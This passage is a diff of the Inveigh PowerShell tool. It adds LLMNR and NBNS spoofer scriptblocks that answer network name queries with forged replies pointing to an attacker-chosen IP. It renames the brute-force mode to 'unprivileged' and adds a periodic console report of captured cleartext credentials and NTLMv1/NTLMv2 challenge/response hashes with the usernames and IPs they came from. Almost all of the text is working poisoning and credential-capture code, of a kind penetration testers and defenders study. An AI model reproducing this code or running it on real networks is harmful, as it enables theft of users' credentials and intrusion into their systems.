ScriptBlock - HTTP listener $HTTP_scriptblock = { - param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) + param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$NBNSBruteForcePause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) function NTLMChallengeBase64 { @@ -589,7 +752,7 @@ $HTTP_scriptblock = $HTTP_WPAD_response = $WPADResponse } - :HTTP_listener_loop while ($inveigh.bruteforce_running) + :HTTP_listener_loop while ($inveigh.unprivileged_running) { $TCP_request = $NULL @@ -607,7 +770,7 @@ $HTTP_scriptblock = Start-Sleep -s 1 - if(!$inveigh.bruteforce_running) + if(!$inveigh.unprivileged_running) { HTTPListenerStop } @@ -633,7 +796,7 @@ $HTTP_scriptblock = $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) - if($NBNSPause) + if($NBNSBruteForcePause) { $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() $inveigh.hostname_spoof = $true @@ -718,16 +881,29 @@ $HTTP_scriptblock = if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - if($inveigh.file_output) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + } + else { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains ($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) + { + $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) } + if($inveigh.NTLMv1_username_list -notcontains ($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.NTLMv1_username_list.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + } $HTTP_response_status_code = 0x32,0x30,0x30 @@ -743,14 +919,27 @@ $HTTP_scriptblock = if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - if($inveigh.file_output) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + } + else { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) } + + if($inveigh.NTLMv2_username_list -notcontains $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } } @@ -902,7 +1091,7 @@ $HTTP_scriptblock = HTTPListenerStop $inveigh.console_queue.Add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')") $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) - $inveigh.bruteforce_running = $false + $inveigh.unprivileged_running = $false } } @@ -912,9 +1101,233 @@ $HTTP_scriptblock = } -$spoofer_scriptblock = +$LLMNR_spoofer_scriptblock = { - param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSPause,$NBNSTTL) + param ($LLMNR_response_message,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$LLMNRTTL) + + while($inveigh.unprivileged_running) + { + $LLMNR_listener_endpoint = new-object System.Net.IPEndPoint ([IPAddress]::Any,5355) + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 10000 + $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) + $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) + [Array]::Reverse($LLMNR_TTL_bytes) + + $LLMNR_response_packet = $LLMNR_request_data[0,1] + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $LLMNR_query_string = $([Text.Encoding]::UTF8.GetString($LLMNR_request_data)) + $LLMNR_query_string = $LLMNR_query_string.SubString(13,($LLMNR_query_string.Length - 18)) + $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString + + if(($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) + { + #$LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient(0) + $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) + $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) + $LLMNR_UDP_client.Close() + $LLMNR_response_message = "- spoofed response has been sent" + } + else + { + + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" + } + else + { + $LLMNR_response_message = "- not spoofed due to previous capture" + } + + } + + if($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) + } + + Start-Sleep -s 1 + } + + $LLMNR_UDP_client.Close() + } + +$NBNS_spoofer_scriptblock = +{ + param ($NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) + + while($inveigh.unprivileged_running) + { + $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 10000 + $NBNS_request_data =$NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + $NBNS_response_packet = $NBNS_request_data[0,1] + + 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $NBNS_request_data[13..$NBNS_request_data.Length] + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString + + $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) + + switch ($NBNS_query_type) + { + + '41-41' + { + $NBNS_query_type = '00' + } + + '41-44' + { + $NBNS_query_type = '03' + } + + '43-41' + { + $NBNS_query_type = '20' + } + + '42-4C' + { + $NBNS_query_type = '1B' + } + + '42-4D' + { + $NBNS_query_type = '1C' + } + + '42-4E' + { + $NBNS_query_type = '1D' + } + + '42-4F' + { + $NBNS_query_type = '1E' + } + + } + + $NBNS_query_string_encoded = $([Text.Encoding]::UTF8.GetString($NBNS_request_data)) + $NBNS_query_string_encoded = $NBNS_query_string_encoded.SubString(13,($NBNS_query_string_encoded.Length - 16)) + $NBNS_query_string_encoded = $NBNS_query_string_encoded -replace "00","" + + if($NBNS_query_string_encoded -like '*CA*') + { + $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) + } + + $NBNS_query_string_subtracted = "" + $NBNS_query_string = "" + $n = 0 + + do + { + $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) + $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) + $n += 1 + } + until($n -gt ($NBNS_query_string_encoded.Length - 1)) + + $n = 0 + + do + { + $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) + $n += 2 + } + until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + + if($NBNSTypes -contains $NBNS_query_type) + { + + if (($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) + { + $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137) + $NBNS_UDP_client.Connect($NBNS_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_response_message = "- spoofed response has been sent" + } + else + { + + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + else + { + $NBNS_response_message = "- not spoofed due to previous capture" + } + + } + + } + else + { + $NBNS_response_message = "- spoof not sent due to disabled type" + } + + if($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) + } + + Start-Sleep -s 1 + } + + $NBNS_UDP_client.Close() + } + +$NBNS_bruteforce_spoofer_scriptblock = +{ + param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSBruteForcePause,$NBNSTTL) $Hostname = $Hostname.ToUpper() @@ -958,10 +1371,10 @@ $spoofer_scriptblock = $destination_point = New-Object Net.IPEndpoint($destination_IP,137) $send_socket.Connect($destination_point) - while($inveigh.bruteforce_running) + while($inveigh.unprivileged_running) { - :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running) + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.unprivileged_running) { if($NBNS_paused) @@ -978,9 +1391,9 @@ $spoofer_scriptblock = { $NBNS_response_packet[0] = $i $NBNS_response_packet[1] = $j - $send_socket.send( $NBNS_response_packet,$NBNS_response_packet.Length) + $send_socket.send($NBNS_response_packet,$NBNS_response_packet.Length) - if($inveigh.hostname_spoof -and $NBNSPause) + if($inveigh.hostname_spoof -and $NBNSBruteForcePause) { $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) @@ -1000,9 +1413,9 @@ $spoofer_scriptblock = $send_socket.Close() } -$control_bruteforce_scriptblock = +$control_unprivileged_scriptblock = { - param ($NBNSPause,$RunTime) + param ($NBNSBruteForcePause,$RunTime) if($RunTime) { @@ -1010,12 +1423,12 @@ $control_bruteforce_scriptblock = $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } - if($NBNSPause) + if($NBNSBruteForcePause) { - $NBNS_pause = new-timespan -Seconds $NBNSPause + $NBNS_pause = new-timespan -Seconds $NBNSBruteForcePause } - while ($inveigh.bruteforce_running) + while ($inveigh.unprivileged_running) { if($RunTime) @@ -1030,13 +1443,13 @@ $control_bruteforce_scriptblock = $inveigh.HTTP_listener.Close() } - if($inveigh.bruteforce_running) + if($inveigh.unprivileged_running) { HTTPListenerStop $inveigh.console_queue.Add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")]) + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited due to run time")]) Start-Sleep -m 5 - $inveigh.bruteforce_running = $false + $inveigh.unprivileged_running = $false } if($inveigh.relay_running) @@ -1058,7 +1471,7 @@ $control_bruteforce_scriptblock = } } - if($NBNSPause -and $inveigh.hostname_spoof) + if($NBNSBruteForcePause -and $inveigh.hostname_spoof) { if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) @@ -1126,38 +1539,71 @@ function HTTPListener() $HTTP_powershell = [PowerShell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument( - $NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument( - $WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument( + $HTTPResponse).AddArgument($NBNSBruteForcePause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument( + $WPADPort).AddArgument($WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null $HTTP_powershell.BeginInvoke() > $null } +# LLMNR Spoofer Startup function +function LLMNRSpoofer() +{ + $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $LLMNR_spoofer_runspace.Open() + $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $LLMNR_spoofer_powershell = [PowerShell]::Create() + $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace + $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument( + $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $LLMNRTTL) > $null + $LLMNR_spoofer_powershell.BeginInvoke() > $null +} + +# NBNS Spoofer Startup function +function NBNSSpoofer() +{ + $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_spoofer_runspace.Open() + $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_spoofer_powershell = [PowerShell]::Create() + $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace + $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($NBNS_response_message).AddArgument( + $SpooferIP).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $NBNSTTL) > $null + $NBNS_spoofer_powershell.BeginInvoke() > $null +} + # Spoofer Startup function -function Spoofer() +function NBNSBruteForceSpoofer() { - $spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $spoofer_runspace.Open() - $spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $spoofer_powershell = [PowerShell]::Create() - $spoofer_powershell.Runspace = $spoofer_runspace - $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( - $SpooferTarget).AddArgument($NBNSPause).AddArgument($NBNSTTL) > $null - $spoofer_powershell.BeginInvoke() > $null + $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_bruteforce_spoofer_runspace.Open() + $NBNS_bruteforce_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_bruteforce_spoofer_powershell = [PowerShell]::Create() + $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace + $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( + $SpooferIP).AddArgument($Hostname).AddArgument($SpooferTarget).AddArgument( + $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null + $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null } # Control Brute Force Startup function -function ControlBruteForceLoop() +function ControlUnprivilegedLoop() { - $control_bruteforce_runspace = [RunspaceFactory]::CreateRunspace() - $control_bruteforce_runspace.Open() - $control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_bruteforce_powershell = [PowerShell]::Create() - $control_bruteforce_powershell.Runspace = $control_bruteforce_runspace - $control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null - $control_bruteforce_powershell.BeginInvoke() > $null + $control_unprivileged_runspace = [RunspaceFactory]::CreateRunspace() + $control_unprivileged_runspace.Open() + $control_unprivileged_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_unprivileged_powershell = [PowerShell]::Create() + $control_unprivileged_powershell.Runspace = $control_unprivileged_runspace + $control_unprivileged_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_unprivileged_powershell.AddScript($control_unprivileged_scriptblock).AddArgument( + $NBNSBruteForcePause).AddArgument($RunTime) > $null + $control_unprivileged_powershell.BeginInvoke() > $null } # End Startup functions @@ -1170,22 +1616,40 @@ if($HTTP -eq 'Y') HTTPListener } -# Spoofer Start +# LLMNR Spoofer Start +if($LLMNR -eq 'Y') +{ + LLMNRSpoofer +} + +# NBNS Spoofer Start if($NBNS -eq 'Y') { - Spoofer + NBNSSpoofer +} + +# NBNSBruteForce Spoofer Start +if($NBNSBruteForce -eq 'Y') +{ + NBNSBruteForceSpoofer } -# Control Brute Force Loop Start -if($NBNSPause -or $RunTime -or $inveigh.file_output) +# Control Unprivileged Loop Start +if($NBNSBruteForcePause -or $RunTime -or $inveigh.file_output) { - ControlBruteForceLoop + ControlUnprivilegedLoop } if($inveigh.console_output) { - :console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + if($ConsoleStatus) + { + $console_status_timeout = new-timespan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + :console_loop while(($inveigh.unprivileged_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) @@ -1249,6 +1713,100 @@ if($inveigh.console_output) } + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) + { + + if($inveigh.cleartext_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + + foreach($unique_cleartext in $inveigh.cleartext_list) + { + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext + } + + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv1_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) + { + Write-Output($NTLMv1_username + $inveigh.newline) + } + + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + + } + if($inveigh.console_input) { @@ -1306,7 +1864,7 @@ function Stop-Inveigh if($inveigh) { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) + if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) { if($inveigh.HTTP_listener.IsListening) @@ -1315,9 +1873,9 @@ function Stop-Inveigh $inveigh.HTTP_listener.Close() } - if($inveigh.bruteforce_running) + if($inveigh.unprivileged_running) { - $inveigh.bruteforce_running = $false + $inveigh.unprivileged_running = $false Write-Output("$(Get-Date -format 's') - Attempting to stop HTTP listener") $inveigh.HTTP_listener.server.blocking = $false Start-Sleep -s 1 @@ -1325,11 +1883,11 @@ function Stop-Inveigh Start-Sleep -s 1 $inveigh.HTTP_listener.Stop() Write-Output("Inveigh Brute Force exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Brute Force exited") > $null + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited") > $null if($inveigh.file_output) { - "$(Get-Date -format 's') - Inveigh Brute Force exited" | Out-File $Inveigh.log_out_file -Append + "$(Get-Date -format 's') - Inveigh Unprivileged exited" | Out-File $Inveigh.log_out_file -Append } } @@ -1632,12 +2190,12 @@ function Watch-Inveigh if($inveigh.tool -ne 1) { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) + if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) { Write-Output "Press any key to stop real time console output" $inveigh.console_output = $true - :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) @@ -1734,7 +2292,7 @@ function Clear-Inveigh if($inveigh) { - if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) + if(!$inveigh.running -and !$inveigh.relay_running -and 